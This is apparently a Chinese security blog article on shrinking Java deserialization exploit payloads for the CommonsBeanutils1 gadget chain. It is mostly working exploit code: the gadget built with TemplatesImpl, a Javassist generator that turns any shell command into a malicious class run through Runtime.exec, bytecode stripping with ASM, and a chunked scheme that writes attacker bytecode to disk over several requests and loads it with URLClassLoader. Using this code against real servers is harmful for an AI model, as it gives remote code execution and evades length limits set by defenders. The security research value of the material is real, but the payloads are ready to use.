终极Java反序列化Payload缩小技术

VSole2022-01-24 21:31:49

介绍

实战中由于各种情况,可能会对反序列化Payload的长度有所限制,因此研究反序列化Payload缩小技术是有意义且必要的

本文以CommonsBeanutils1链为示例,重点在于三部分:

  • 序列化数据本身的缩小
  • 针对TemplatesImpl_bytecodes字节码的缩小
  • 对于执行的代码如何缩小(STATIC代码块)

接下来我将展示如何一步一步地缩小

最终效果能够将YSOSERIAL生成的Payload缩小接近三分之二(从3692长度缩小到1296

YSOSERIAL

首先用YSOSERIAL工具直接生成CB1的链,看看Base64处理后的长度

java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > test.ser

生成后统计长度为:3692

byte[] data = Base64.getEncoder().encode(Files.readAllBytes(Paths.get("test.ser")));
System.out.println(new String(data).length());

构造Gadget

尝试不借助YSOSERIAL直接构造CB1的链

<dependency>
  <groupId>commons-beanutilsgroupId>
  <artifactId>commons-beanutilsartifactId>
  <version>1.9.2version>
dependency>

构造代码

public static byte[] getPayloadUseByteCodes(byte[] byteCodes) {
  try {
    TemplatesImpl templates = new TemplatesImpl();
    setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes});
    setFieldValue(templates, "_name", "HelloTemplatesImpl");
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    queue.add("1");
    queue.add("1");
    setFieldValue(comparator, "property", "outputProperties");
    setFieldValue(queue, "queue", new Object[]{templates, templates});
    return serialize(queue);
 } catch (Exception e) {
    e.printStackTrace();
 }
  return new byte[]{};
}

恶意类

public class EvilByteCodes extends AbstractTranslet {
  static {
    try {
      Runtime.getRuntime().exec("calc.exe");
   } catch (Exception e) {
      e.printStackTrace();
   }
 }
  @Override
  public void transform(DOM document, SerializationHandler[] handlers) {
 }
  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
 }
}

读取字节码并设置到Gadget中,序列化后统计长度:2728

相比YSOSERIAL直接生成的,缩小了26.1%

byte[] evilBytesCode = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] my = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(evilBytesCode));
System.out.println(new String(my).length());

其实上文中还有三处可以优化:

  • 设置_name名称可以是一个字符
  • 其中_tfactory属性可以删除(分析TemplatesImpl得出)
  • 其中EvilByteCodes类捕获异常后无需处理
setFieldValue(templates, "_name", "t");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
try {
  Runtime.getRuntime().exec("calc.exe");
} catch (Exception ignored) {
}

经过这三处优化后得到长度:2608

相比YSOSERIAL直接生成的,缩小了29.3%

从字节码层面优化

上文中的EvilBytesCode恶意类的字节码是可以缩减的

对字节码进行分析:javap -c -l EvilByteCodes.class

public class org.sec.payload.EvilByteCodes extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
 // transform 1 
 // transform 2
 // 
 // 
 static {};
 Code:
   0: invokestatic #2        // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
   3: ldc     #3        // String
   5: invokevirtual #4        // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
   8: pop
   9: goto    13
  12: astore_0
  13: return
 Exception table:
   from to target type
     0  9 12 Class java/lang/Exception
 LineNumberTable:
  line 11: 0
  line 13: 9
  line 12: 12
  line 14: 13
 LocalVariableTable:
  Start Length Slot Name Signature
}

可以看出,该类每个方法包含了三部分:

  • 代码对应的字节码
  • ExceptionTable和LocalVariableTable
  • LineNumberTable

有JVM相关的知识可以得知,局部变量表和异常表是不能删除的,否则无法执行

LineNumberTable是可以删除的

换句话来说:LINENUMBER指令可以全部删了

于是我基于ASM实现删除LINENUMBER

byte[] bytes = Files.readAllBytes(Paths.get(path));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[] out = cw.toByteArray();
Files.write(Paths.get(path), out);

ShortClassVisitor

public class ShortClassVisitor extends ClassVisitor {
  private final int api;
  public ShortClassVisitor(int api, ClassVisitor classVisitor) {
    super(api, classVisitor);
    this.api = api;
 }
  @Override
  public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
    MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
    return new ShortMethodAdapter(this.api, mv);
 }
}

重点在于ShortMethodAdapter:如果遇到LINENUMBER指令则阻止传递,可以理解为返回空

public class ShortMethodAdapter extends MethodVisitor implements Opcodes {
  public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
    super(api, methodVisitor);
 }
  @Override
  public void visitLineNumber(int line, Label start) {
    // delete line number
 }
}

读取编译的字节码并处理后替换

Resolver.resolve("/path/to/EvilByteCodes.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());

经过优化后得到长度:1832

相比YSOSERIAL直接生成的,缩小了50.3%

使用Javassist构造

以上代码虽然做到了超过百分之五十的缩小,但存在一个问题:目前的恶意类是写死的,无法动态构造

想要动态构造字节码一种手段是选择ASM做,但有更好的选择:Javassist

通过这样的一个方法,就可以根据输入命令动态构造出Evil

private static byte[] getTemplatesImpl(String cmd) {
  try {
    ClassPool pool = ClassPool.getDefault();
    CtClass ctClass = pool.makeClass("Evil");
    CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
    ctClass.setSuperclass(superClass);
    CtConstructor constructor = ctClass.makeClassInitializer();
    constructor.setBody("   try {" +
              "     Runtime.getRuntime().exec(\"" + cmd + "\");" +
              "   } catch (Exception ignored) {" +
              "   }");
    CtMethod ctMethod1 = CtMethod.make(" public void transform(" +
                     "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                     "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {" +
                     " }", ctClass);
    ctClass.addMethod(ctMethod1);
    CtMethod ctMethod2 = CtMethod.make(" public void transform(" +
                     "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                     "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
                     "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {" +
                     " }", ctClass);
    ctClass.addMethod(ctMethod2);
    byte[] bytes = ctClass.toBytecode();
    ctClass.defrost();
    return bytes;
 } catch (Exception e) {
    e.printStackTrace();
    return new byte[]{};
 }
}

将动态生成的字节码保存至当前目录,再读取加载

String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());

经过优化后得到长度:1848

相比YSOSERIAL直接生成的,缩小了49.9%

不难发现使用Javassist生成的字节码似乎本身就不包含LINENUMBER指令

不过这只是猜测,当我使用上文的删除指令代码优化后,发现进一步缩小了

...
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
...
// 验证Payload是否有效  
Payload.deserialize(Base64.getDecoder().decode(payload));

经过优化后得到长度:1804

相比YSOSERIAL直接生成的,缩小了51.1%

验证Payload有效可以弹出计算器

删除重写方法

可以发现Evil类继承自AbstractTranslet抽象类,所以必须重写两个transform方法

这样写代码会导致编译不通过,无法执行

public class EvilByteCodes extends AbstractTranslet {
  static {
    try {
      Runtime.getRuntime().exec("calc.exe");
   } catch (Exception ignored) {
   }
 }
}

编译不通过不代表非法,通过手段直接构造对应的字节码

(1)通过ASM删除方法

@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
  if (name.equals("transform")) {
    return null;
 }
  MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
  return new ShortMethodAdapter(this.api, mv, name);
}

(2)通过Javassist直接构造

private static byte[] getTemplatesImpl(String cmd) {
  try {
    ClassPool pool = ClassPool.getDefault();
    CtClass ctClass = pool.makeClass("Evil");
    CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
    ctClass.setSuperclass(superClass);
    CtConstructor constructor = ctClass.makeClassInitializer();
    constructor.setBody("   try {" +
              "     Runtime.getRuntime().exec(\"" + cmd + "\");" +
              "   } catch (Exception ignored) {" +
              "   }");
    byte[] bytes = ctClass.toBytecode();
    ctClass.defrost();
    return bytes;
 } catch (Exception e) {
    e.printStackTrace();
    return new byte[]{};
 }
}

通过以上手段处理后进行反序列化验证:成功弹出计算器

String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
Payload.deserialize(Base64.getDecoder().decode(payload));

最终优化后得到长度:1332

相比YSOSERIAL直接生成的,缩小了63.9%

并不是所有方法都能删除,比如不存在构造方法的情况下无法删除空参构造

于是有了一个新思路:删除静态代码块,将代码写入空参构造

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public Evil(){" +
                         "   try {" +
                         "     Runtime.getRuntime().exec(\"" + cmd + "\");" +
                         "   }catch (Exception ignored){}" +
                         " }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;

最终优化后得到长度:1296

相比YSOSERIAL直接生成的,缩小了64.8%

终极技术:分块传输

以上的内容都在围绕字节码和序列化数据的缩小,我认为已经做到的接近极致,很难做到更小的

对于STATIC代码块中需要执行的代码也有缩小手段,这也是更有实战意义是思考,因为实战中不是弹个计算器这么简单

因此可以用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块

使用Javassist动态生成写入每一分块的Payload,以追加的方式将所有字节码的Base64写入某文件

static {
  try {
    String path = "/your/path";
    // 创建文件
    File file = new File(path);
    file.createNewFile();
    // 传入true是追加方式写文件
    FileOutputStream fos = new FileOutputStream(path, true);
    // 需要写入的数据
    String data = "BASE64_BYTECODES_PART";
    fos.write(data.getBytes());
    fos.close();
 } catch (Exception ignore) {
 }
}

在最后一个包中将字节码进行Base64Decode并写入class文件

(也可以直接写字节码二进制数据,不过个人认为Base64好分割处理一些)

static {
  try {
    String path = "/your/path";
    FileInputStream fis = new FileInputStream(path);
    // size取决于实际情况
    byte[] data = new byte[size];
    fis.read(data);
    // 写入Evil.class
    FileOutputStream fos = new FileOutputStream("Evil.class");
    fos.write(Base64.getDecoder().decode(data));
    fos.close();
 } catch (Exception ignored) {
 }
}

会有师傅产生疑问:为什么要写这么多的代码而不用java.nio.file.Files工具类一行实现读写

其实我一开始就是使用该工具类在做,后来测试发现受用用Stream读写产生的Payload会更小

最后一个包使用URLClassLoader进行加载

注意一个小坑,传入URLClassLoader的路径要以file://开头且以/结尾否则会找不到对应的类

static {
  try {
    String path = "file:///your/path/";
    URL url = new URL(path);
    URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
    Class clazz = urlClassLoader.loadClass("Evil);
    clazz.newInstance();
 } catch (Exception ignored) {
 }
}

代码

我对常见的反序列化链做了总结和测试,效果如下(出了个叛徒)

项目地址:https://github.com/EmYiQing/ShortPayload

序列化字节码
本作品采用《CC 协议》,转载必须注明作者和本文链接
Java反序列化是java安全的基础,想要学好java反序列化,就不能只看看相关文章,要自己动手实践,看看java反序列化到底是怎么回事。JSON和XML是通用数据交互格式,通常用于不同语言、不同环境下数据的交互,比如前端的JavaScript通过JSON和后端服务通信、微信服务器通过XML和公众号服务器通信。快速入门Java Serialization(序列化):将java对象以一连串的字节保存在磁盘文件中的过程,也可以说是保存java对象状态的过程。
Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期 的对象,在此过程中执行构造的任意代码。
介绍实战中由于各种情况,可能会对反序列化Payload的长度有所限制,因此研究反序列化Payload缩小技术是有意义且必要的本文以CommonsBeanutils1链为示例,
Java Agent到内存
2021-12-14 14:52:22
前言今天看到一篇文章,写的是关于JAVA Agent相关的资料(附1),里面提到了Java Agent的两种实现方法:实现premain方法,在JVM启动前加载实现agentmain方法,在JVM启动后attach加载因为最近流行破解CobaltStrike不再直接使用反编译打包源码了,而是使用JAVA Agent进行提前字节修改。
Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE
EasyJaba 这个题目是陇原战”疫”2021网络安全大赛的一道题,最近正好在学习java反序列化和内存的相关知识,通过这个题目可以很好的进行实践。 反序列化
我记得大概是15年年底时,冰蝎作者rebeyond第一个公布出Weblogic T3反序列化回显方法,而且给出了相关的代码。早期的Weblogic反序列化利用工具,为了实现T3协议回显,都会向服务器上写入一个临时文件。
最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了Spring和Weblogic的两个CVE但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd师傅聊天
0x01 背景 在内存横行的当下,蓝队or应急的师傅如何能快速判断哪些Filter/Servlet是内存,分析内存的行为功能是什么?考虑到Agent技术针对红队来说比较重,我们这次使用jsp技术来解决以上问题。
一文看懂内存
2022-01-02 22:31:21
它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。该方法在Filter的生命周期中仅执行一次。
VSole
网络安全专家